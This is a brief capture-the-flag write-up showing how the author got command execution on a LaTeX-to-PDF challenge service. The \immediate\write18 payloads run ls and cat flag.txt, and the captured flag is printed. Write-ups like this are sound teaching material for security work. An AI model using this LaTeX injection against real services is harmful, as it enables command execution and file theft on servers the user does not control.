# PDFMAX
* This is what happend! I typed this command to connect `nc jh2i.com 50029`, and read this line     > pdfmax is an online cloud LaTeX interpreter.  
    I have developed one website for my university, in which users can add multiple textbox, images and it will create PDF from LaTeX. I wanted to make it secure so I did some research. And found that by using LaTeX tags, we can read internal files, execute commands!
    ![PDFMAX](1.png)
* We can use `immediate\write18{ COMMAND_HERE }`, and compile the LaTeX, we can see the command output in the logs. * Test for command execution    * Select 2nd option to create latex file.        ```latex        \documentclass{article}        \begin{document}            immediate\write18{ls}        \end{document}        |0|        ```    * Now choose 3rd option to compile it, and you can see the output in the logs.    ![ls](2.png)
* Then we just need to run `cat flag.txt` to get the flag.    ```latex    \documentclass{article}    \begin{document}        \immediate\write18{cat flag.txt}    \end{document}    |0|    ```    ![Flag](3.png)
    > ### LLS{write18_my_flag_down_immmediately}